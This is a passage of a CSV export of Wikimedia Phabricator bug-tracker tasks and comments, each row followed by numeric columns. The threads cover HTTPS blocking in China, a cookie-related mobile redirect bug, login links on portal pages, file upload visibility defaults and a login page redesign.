+^ I guess that's the patch...",,,1379529528,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1
+236663,wmgHTTPSBlacklistCountries changes for CN,Liangent: Willing to come up with a patch?,,,1379525113,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0
+236655,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #2)
+> (In reply to comment #1)
+> > (In reply to comment #0)
+> > > It was reported by users that HTTPS block in China was only for Wikipedia
+> > 
+> > Any URL (if that question makes sense & does not create problems for
+> > anybody)?
+> 
+> Hmm... it's even blocked in the other way for some other sites:
+> 
+> https://zh.greatfire.org/zh.wikisource.org (blocked)
+> https://zh.greatfire.org/https/zh.wikisource.org (not blocked)
+
+I guess I'd better provide English links:
+
+https://en.greatfire.org/zh.wikisource.org (blocked)
+https://en.greatfire.org/https/zh.wikisource.org (not blocked)",,,1378828628,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,False,,,-95,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1
+236649,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #1)
+> (In reply to comment #0)
+> > It was reported by users that HTTPS block in China was only for Wikipedia
+> 
+> Any URL (if that question makes sense & does not create problems for
+> anybody)?
+
+Hmm... it's even blocked in the other way for some other sites:
+
+https://zh.greatfire.org/zh.wikisource.org (blocked)
+https://zh.greatfire.org/https/zh.wikisource.org (not blocked)",,,1378828294,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,False,,,-95,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1
+236644,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #0)
+> It was reported by users that HTTPS block in China was only for Wikipedia
+
+Any URL (if that question makes sense & does not create problems for anybody)?",,,1378825089,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,True,,,-95,True,1,1,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+55667,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"Use a mobile web browser. I used ""User-Agent: Opera/9.80 (Android; Opera Mini/7.5.33361/30.3793; U; sv) Presto/2.8.119 Version/11.10"".
+
+Steps to reproduce:
+
+1: Delete all cookies.
+2: Log in to Wikipedia. You should now see the mobile site as you are using a mobile web browser.
+3: At the bottom of the page, click on the link to the desktop version.
+4: Elsewhere on the Internet, find a link which points to Wikipedia's desktop HTTP edition, and click on the link. Alternatively, type in a URL yourself.
+
+Actual result: The browser shows the mobile HTTPS edition of Wikipedia.
+Expected result: The browser shows the desktop HTTPS edition of Wikipedia.
+
+IMPORTANT: You must perform steps 2 and 3 in the order indicated above! If you perform them in the opposite order, then the result is different (due to bug 43771).
+
+== Explanation ==
+
+Steps 2-3 should give you two cookies:
+
+Set-Cookie: enwikiforceHTTPS=true; expires=Mon, 30-Sep-2013 23:24:04 GMT; path=/; httponly
+Set-Cookie: stopMobileRedirect=true; expires=Mon, 30-Sep-2013 23:15:06 GMT; path=/; domain=.wikipedia.org; secure
+
+When you request the Wikipedia article (say, http://en.wikipedia.org/wiki/A), the following happens:
+
+1. Browser sends ""GET /wiki/A HTTP/1.1"" to en.wikipedia.org. As the connection is insecure, the stopMobileRedirect=true cookie isn't sent, but enwikiforceHTTPS=true is sent:
+
+Cookie: enwikiforceHTTPS=1
+
+2. Server detects a mobile user agent, so you are redirected (302 Moved Temporarily) to http://en.m.wikipedia.org/wiki/A (still no HTTPS).
+
+3. Browser sends ""GET /wiki/A HTTP/1.1"" en.m.wikipedia.org. As it is still insecure, stopMobileRedirect=true isn't sent:
+
+Cookie: enwikiforceHTTPS=true; enwikiforceHTTPS=1
+
+4. Server detects enwikiforceHTTPS=true and enwikiforceHTTPS=1 (no idea why the browser has two cookies with the same name) and you are redirected (302 Found) to https://en.m.wikipedia.org/wiki/A.
+
+5. Browser switches on SSL and sends ""GET /wiki/A HTTP/1.1"". Now all cookies are sent, including stopMobileRedirect=true (private information removed):
+
+Cookie: enwikiSession=REMOVED; centralauth_User=Stefan2; centralauth_Token=REMOVED; centralauth_Session=REMOVED; enwikiUserID=808814; enwikiUserName=Stefan2; enwikiforceHTTPS=true; enwikiforceHTTPS=1; stopMobileRedirect=true
+
+6. You see the mobile website.
+
+Problem: As the redirect to HTTPS happens after the redirect to the mobile site, the stopMobileRedirect=true cookie is sent too late and the server won't know that you wish to stay on the desktop website.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1378073400,1380302461.0,PHID-USER-zcvchmenkrawdr5233in,False,,False,PHID-TASK-4455hu3tjinek2ehrboa,task_description,declined,True,c3,1,False,False,True,-96,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+256619,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,I'm marking this resolved as 'worksforme'. We are currently discussing the possibility of reaching out to Google about how they are linking search results for mobile devices.,,,1380302461,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c3,1,False,,,-92,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+256615,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"**mgrover** wrote:
+
+I've tried several different ways as well and can't get it to happen either.",,,1380225162,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c3,1,False,,,-92,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+256611,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"I've not really been able to reproduce this bug. I thought I had reproduced it by selecting an enwiki link from Google (for step 4 of the OP) - however it appears that Google is doing some kind of device detection and is turning the href for wikipedia links into en.m.wikipedia.org. By design, you can still hit the .m version of the site even if you have the stopMobileRedirect cookie - but only if you hit it explicitly. The stopMobileRedirect cookie only prevents automatic redirection.
+
+I tried again by just typing in ""en.wikipedia.org"" into my URL bar for step 4 - I got the expected results (https, desktop site).
+
+Stefan2, were the links you were clicking from 'elsewhere on the internet' exclusively from Google search results? Can you try again and double check the href of the links to make sure they are not pointing directly to the .m?",,,1380155649,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c3,1,False,,,-92,True,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1,1,0,1,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+256606,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"Without much digging, I suspect that Stefan2 is correct. If that's the case, we'll need to involve operations to implement a solution. We should prioritize this bug during standup on Monday. Jon, I've updated the card in Mingle so we can deal with it then.",,,1379716150,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c3,1,False,,,-93,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+256601,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"It sounds like the cookie to force desktop mode is being set on https and not on http. Thus going to http will still redirect you to mobile and not desktop.
+
+Arthur any thoughts on this?",,,1378400457,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c3,1,True,,,-95,True,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+1382,Add login and create account links to www project portals,post SUL finalization the wikimedia.org/wikipedia.org/wikiquote.org/wikibooks.org/etc. front page should have the ability for users to log in and create accounts similar to the way that actual wikis do.,Low,25.0,1416508229,1477858691.0,PHID-USER-z3kqk2bjnqneldcznht6,True,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-TASK-v4mknflxvfvabkk5mtup,task_description,declined,True,c3,1,False,False,False,-32,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1
+752205,Add login and create account links to www project portals,Closing per all the above comments. Can be reopened once we have a clearer problem statement.,,,1477858691,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,3,True,,,69,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0
+738183,Add login and create account links to www project portals,"Is there a need to have a login for the [[ https://www.wikipedia.org | wikipedia.org ]] portal page? That portal page is used as a starting or jumping off point, not necessarily as a destination but to facilitate discovery into other wiki's and projects.",,,1475514164,,PHID-USER-zc6idwnvpiijipvyjnlg,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,3,False,,,65,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,1
+737733,Add login and create account links to www project portals,"I'm missing a ""why"" in the task description.. 
+Adding Portals project here, to let them evaluate this task.",,,1475423096,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,3,True,,,65,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+410238,Add login and create account links to www project portals,"I'd recommend, in order of if the info exists…
+
+
+Last wiki used (logged in via)
+Wiki with most recent edits
+Home wiki (is this meaningful to users?)
+Wiki where account was created
+
+In the case of new account creation, we could redirect the user back to where they were before logging in, let them choose, and save that choice. Based on the above rules. 
+",,,1423695235,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,1,0,1,0
+410237,Add login and create account links to www project portals,"I'd recommend, in order of if the info exists…
+
+
+Last wiki used (logged in via)
+Wiki with most recent edits
+Home wiki (is this meaningful to users?)
+Wiki where account was created
+",,,1423695125,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,1,0
+408480,Add login and create account links to www project portals,"If home wiki is transparent to the end user, it doesn't really matter which wiki is designated as their home wiki, as long as it's reasonable. Heck we could probably designate Meta or something, or a ""www wikipedia"" home wiki that doesn't truly exist (kind of like Multilingual Wikisource).
+
+If it actually matters in a substantive way, couldn't we just ask them which language they prefer?",,,1423443100,,PHID-USER-glyaaucrfe2f5ly43lqk,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,1,False,,,-21,True,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,1,0,0,0,0
+408476,Add login and create account links to www project portals,"So we can add links, but which wiki will those links point to?",,,1423442579,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+6039,Add login and create account links to www project portals,"The open question that we need to answer, is if a new users invokes create account from this screen wikipedia.org which wiki will be considered their ""home wiki"" if that concept even exsists after SUL finalization.  
+
+Since language selector in left sidebar does not seem to work when logged out on index.php?title=Special:UserLogin we should probably infer language from browser/OS when user chooses the Create account option. ",,,1416519436,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,1,False,,,-32,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+6036,Add login and create account links to www project portals,"{F1144}
+
+Nemo, I think we could make the language selector a separate task, this refers to the control above. ",,,1416519038,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,1,False,,,-32,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+6035,Add login and create account links to www project portals,"I assume you mean all of the https://meta.wikimedia.org/wiki/Project_portals ? And the same for UniversalLanguageSelector, which is another currently missing personal tool?",,,1416518872,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,1,True,,,-32,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,0
+1248,"Default upload visibility should be ""Public (No Login Required)""","Upstream: https://secure.phabricator.com/T6564
+
+The default visibility for files created at https://phabricator.wikimedia.org/file/upload/ should be ""Public (No Login Required)"".  This is the same behavior as Bugzilla.  Currently, the default is ""All Users"" which requires a login.
+
+If possible, creating non-public files (or changing visibility of an existing file to non-public) should be limited to the Security group,",Low,25.0,1415752813,1418242965.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-x2m6e5ivyo5hc3pydkvx,task_description,resolved,True,c3,1,True,False,True,-34,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0
+340533,"Default upload visibility should be ""Public (No Login Required)""","This is the case now.
+
+https://phabricator.wikimedia.org/applications/view/PhabricatorFilesApplication/ states
+> Default View Policy: Public (No Login Required)
+
+and going to https://phabricator.wikimedia.org/file/upload/ shows ""Public"" as default.",,,1418242965,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-x2m6e5ivyo5hc3pydkvx,task_subcomment,,True,c3,1,True,,,-30,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+334616,"Default upload visibility should be ""Public (No Login Required)""","Upstream has resolved its part (creating the policy). https://secure.phabricator.com/applications/view/PhabricatorFilesApplication/ now specifies
+
+> Default View Policy: All Users
+
+After upgrading Wikimedia Phabricator, we need to set this policy as ""Public (No Login Required"".",,,1417378008,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-x2m6e5ivyo5hc3pydkvx,task_subcomment,,True,c3,1,True,,,-31,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+333908,"Default upload visibility should be ""Public (No Login Required)""",This is Low priority upstream.,,,1417076243,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-x2m6e5ivyo5hc3pydkvx,task_subcomment,,True,c3,1,True,,,-31,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+5656,"Default upload visibility should be ""Public (No Login Required)""",">>! In T1248#21573, @Aklapper wrote:
+> /me wondering why this is set to high priority?
+
+Because it's important that users (simply using the default setting without thinking about it) don't create a huge mess of incorrectly-permissioned files.  However, it's true that on further review it's not that bad since most people probably won't even know about the upload file page (the drag and drop message when you click the upload icon does not currently mention it).
+
+>> Note that you cannot upload a file and then decrease the access level to the file (e.g linking it to a restricted security ticket). You would have to delete the file and reupload it with stricter access permissions. It is recommended to upload files which should have restricted access together with the creation of a restricted (security) ticket.
+
+Thanks.
+
+>>! In T1248#21580, @Qgil wrote:
+> I could not find in phab-01 any configuration to set the default to Public. It would make sense for new uploads to have the same default Can View policy as ""Can Use Application"" (which is set to Public).
+
+Filed as https://secure.phabricator.com/T6564 (""Set default permissions for file uploads to same as File application"")
+ 
+> I couldn't find either a policy to limit who can set the Can View policy of files uploaded (just like Maniphest has one, and this is why regular users only have the option of public/private.
+
+Filed as https://secure.phabricator.com/T6565 (""Allow limiting which ""Can View"" settings can be used for files"").
+",,,1416018869,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-x2m6e5ivyo5hc3pydkvx,task_subcomment,,True,c3,1,True,,,-33,True,1,0,0,1,1,1,0,1,0,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1
+5442,"Default upload visibility should be ""Public (No Login Required)""","First I wanted to check whether the files created via drag&drop are public, and they are. Then I checked the files at bugzillapreview, and they are also public. Therefore, this problem affects exclusively files uploaded via https://phabricator.wikimedia.org/file/upload/. Still a problem, but not high priority.
+
+I could not find in phab-01 any configuration to set the default to Public. It would make sense for new uploads to have the same default Can View policy as ""Can Use Application"" (which is set to Public). 
+
+I couldn't find either a policy to limit who can set the Can View policy of files uploaded (just like Maniphest has one, and this is why regular users only have the option of public/private.
+
+@Mattflaschen , since you have experience reporting problems upstream, would you like to report these two (separate or together, your choice).",,,1415781265,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-x2m6e5ivyo5hc3pydkvx,task_subcomment,,True,c3,1,True,,,-34,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0
+5441,"Default upload visibility should be ""Public (No Login Required)""","First I wanted to check whether the files created via drag&drop are public, and they are. Then I checked the files at bugzillapreview, and they are also public. Therefore, this problems affects exclusively via https://phabricator.wikimedia.org/file/upload/. Still a problem, but not high priority.
+
+I could not find in phab-01 any configuration to set the default to Public. It would make sense for new uploads to have the same default Can View policy as ""Can Use Application"" (which is set to Public). 
+
+I couldn't find either a policy to limit who can set the Can View policy of files uploaded (just like Maniphest has one, and this is why regular users only have the option of public/private.
+
+@Mattflaschen , since you have experience reporting problems upstream, would you like to report these two (separate or together, your choice).",,,1415781207,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-x2m6e5ivyo5hc3pydkvx,task_subcomment,,True,c3,1,True,,,-34,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0
+5440,"Default upload visibility should be ""Public (No Login Required)""","Test uploading F783 right here.
+
+{F783}",,,1415780409,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-x2m6e5ivyo5hc3pydkvx,task_subcomment,,True,c3,1,True,,,-34,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+5437,"Default upload visibility should be ""Public (No Login Required)""","/me wondering why this is set to high priority?
+
+> (or changing visibility of an existing file to non-public)
+
+For the records, https://www.mediawiki.org/wiki/Phabricator/Help#Uploading_file_attachments states:
+> Note that you cannot upload a file and then decrease the access level to the file (e.g linking it to a restricted security ticket). You would have to delete the file and reupload it with stricter access permissions. It is recommended to upload files which should have restricted access together with the creation of a restricted (security) ticket.",,,1415755584,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-x2m6e5ivyo5hc3pydkvx,task_subcomment,,True,c3,1,True,,,-34,True,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,1,0,1,1,0,1
+862,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"Let's improve https://phabricator.wikimedia.org/auth/start/
+
+* The LDAP login form is the most prominent element, but in fact most users can't use it, or have no idea what LDAP is, and just confuse it with a Wikimedia login.
+* The position of the MediaWiki login down there is too secondary. Many users have no clue that THIS is what you need to click.
+* The text at the top could be put to better use. (Currently `You can use your unified Wikimedia account or your Labs/LDAP user to login.`)
+
+Jared has volunteered to work on a mockup. We will need to agree on its feasibility. Phabricator doesn't offer any configuration of this page out of the box.",Low,25.0,1414181206,1579196023.0,PHID-USER-z3kqk2bjnqneldcznht6,True,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-35vifryt7kj2fw5nkott,task_description,declined,True,c3,1,False,False,False,-36,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,1,1,0
